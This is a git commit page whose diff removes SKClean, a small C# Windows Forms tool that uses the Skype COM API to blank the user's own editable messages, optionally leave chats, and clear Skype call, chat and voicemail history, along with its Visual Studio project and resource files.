mirror of
git://git.acid.vegas/random.git
synced 2024-11-14 03:56:42 +00:00
Added drug wars irc game
This commit is contained in:
parent
f654c9f56f
commit
01ab92e208
Binary file not shown.
@ -1,22 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Express 2013 for Windows Desktop
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SKClean", "SKClean\SKClean.csproj", "{07708324-3B4B-43AA-A630-9FD2263C8134}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
85
c#/SKClean/SKClean/SKClean/Main.Designer.cs
generated
85
c#/SKClean/SKClean/SKClean/Main.Designer.cs
generated
@ -1,85 +0,0 @@
|
||||
namespace SKClean
|
||||
{
|
||||
partial class Main
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.buttonClean = new System.Windows.Forms.Button();
|
||||
this.optionLeave = new System.Windows.Forms.CheckBox();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// buttonClean
|
||||
//
|
||||
this.buttonClean.Location = new System.Drawing.Point(12, 12);
|
||||
this.buttonClean.Name = "buttonClean";
|
||||
this.buttonClean.Size = new System.Drawing.Size(81, 38);
|
||||
this.buttonClean.TabIndex = 0;
|
||||
this.buttonClean.Text = "C L E A N";
|
||||
this.buttonClean.UseVisualStyleBackColor = true;
|
||||
this.buttonClean.Click += new System.EventHandler(this.buttonClean_Click);
|
||||
//
|
||||
// optionLeave
|
||||
//
|
||||
this.optionLeave.AutoSize = true;
|
||||
this.optionLeave.Location = new System.Drawing.Point(12, 56);
|
||||
this.optionLeave.Name = "optionLeave";
|
||||
this.optionLeave.Size = new System.Drawing.Size(81, 17);
|
||||
this.optionLeave.TabIndex = 1;
|
||||
this.optionLeave.Text = "Leave Chat";
|
||||
this.optionLeave.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// Main
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(105, 85);
|
||||
this.Controls.Add(this.optionLeave);
|
||||
this.Controls.Add(this.buttonClean);
|
||||
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
|
||||
this.MaximizeBox = false;
|
||||
this.MaximumSize = new System.Drawing.Size(115, 118);
|
||||
this.MinimizeBox = false;
|
||||
this.MinimumSize = new System.Drawing.Size(115, 118);
|
||||
this.Name = "Main";
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "SKClean";
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.Button buttonClean;
|
||||
private System.Windows.Forms.CheckBox optionLeave;
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -1,45 +0,0 @@
|
||||
#region Imports
|
||||
using SKYPE4COMLib;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
#endregion
|
||||
|
||||
namespace SKClean {
|
||||
public partial class Main : Form {
|
||||
public static Skype API = new Skype();
|
||||
|
||||
#region Startup
|
||||
public Main() {
|
||||
InitializeComponent();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region Clean Button
|
||||
private void buttonClean_Click(object sender, EventArgs e) {
|
||||
API.Attach(5, true);
|
||||
foreach (Chat chat in API.ActiveChats) {
|
||||
foreach (ChatMessage msg in chat.Messages) {
|
||||
if (msg.IsEditable)
|
||||
try {
|
||||
msg.Body = "";
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (optionLeave.Checked) {
|
||||
try {
|
||||
chat.SendMessage("/topic .");
|
||||
chat.Leave();
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
API.ClearCallHistory();
|
||||
API.ClearChatHistory();
|
||||
API.ClearVoicemailHistory();
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,123 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="$this.Locked" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||
<value>True</value>
|
||||
</metadata>
|
||||
</root>
|
@ -1,15 +0,0 @@
|
||||
#region Imports
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
#endregion
|
||||
|
||||
namespace SKClean {
|
||||
static class Program {
|
||||
[STAThread]
|
||||
static void Main() {
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new Main());
|
||||
}
|
||||
}
|
||||
}
|
@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("SKClean")]
|
||||
[assembly: AssemblyDescription("A Skype tool to quickly remove all your messages & erase history.")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("LCS Inc.")]
|
||||
[assembly: AssemblyProduct("SKClean")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2014")]
|
||||
[assembly: AssemblyTrademark("LCS Inc.")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("87c1aa4d-d5e6-47ca-bcd9-bb3d88f147fe")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
@ -1,71 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.18449
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SKClean.Properties
|
||||
{
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||
/// </summary>
|
||||
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
// class via a tool like ResGen or Visual Studio.
|
||||
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
// with the /str option, or rebuild your VS project.
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources
|
||||
{
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the cached ResourceManager instance used by this class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if ((resourceMan == null))
|
||||
{
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SKClean.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Overrides the current thread's CurrentUICulture property for all
|
||||
/// resource lookups using this strongly typed resource class.
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture
|
||||
{
|
||||
get
|
||||
{
|
||||
return resourceCulture;
|
||||
}
|
||||
set
|
||||
{
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,117 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
@ -1,30 +0,0 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.18449
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace SKClean.Properties
|
||||
{
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
|
||||
{
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
||||
public static Settings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,7 +0,0 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
@ -1,106 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{07708324-3B4B-43AA-A630-9FD2263C8134}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>SKClean</RootNamespace>
|
||||
<AssemblyName>SKClean</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<UseVSHostingProcess>false</UseVSHostingProcess>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>icon.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Main.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Main.Designer.cs">
|
||||
<DependentUpon>Main.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<EmbeddedResource Include="Main.resx">
|
||||
<DependentUpon>Main.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<None Include="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Include="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<COMReference Include="SKYPE4COMLib">
|
||||
<Guid>{03282B5D-B38F-469D-849A-09B0A7F4881B}</Guid>
|
||||
<VersionMajor>1</VersionMajor>
|
||||
<VersionMinor>0</VersionMinor>
|
||||
<Lcid>0</Lcid>
|
||||
<WrapperTool>tlbimp</WrapperTool>
|
||||
<Isolated>False</Isolated>
|
||||
<EmbedInteropTypes>True</EmbedInteropTypes>
|
||||
</COMReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="icon.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
Binary file not shown.
Binary file not shown.
@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
Binary file not shown.
Before Width: | Height: | Size: 159 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,33 +0,0 @@
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe.config
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.pdb
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Main.resources
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache
|
||||
c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.exe
|
||||
